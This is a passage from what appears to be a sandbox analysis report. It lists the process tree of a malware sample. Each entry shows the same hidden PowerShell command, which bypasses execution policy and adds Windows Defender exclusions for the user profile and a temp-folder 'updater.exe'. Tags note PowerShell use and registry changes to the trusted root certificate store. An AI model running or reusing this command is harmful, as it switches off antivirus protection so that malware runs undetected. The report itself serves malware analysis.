    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    PID:2092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    PID:2936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    PID:2360
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    PID:2740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    PID:4324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    PID:5072
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    PID:5664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5928
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    PID:3044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    PID:6032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    PID:1736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    PID:5688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    PID:3056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    PID:1176
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    PID:4576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    PID:4744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    PID:2924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    PID:2568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    PID:4472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    PID:5836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    PID:4368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    PID:4292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    PID:3744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    PID:1168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    PID:5556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    PID:6108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    PID:6048
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
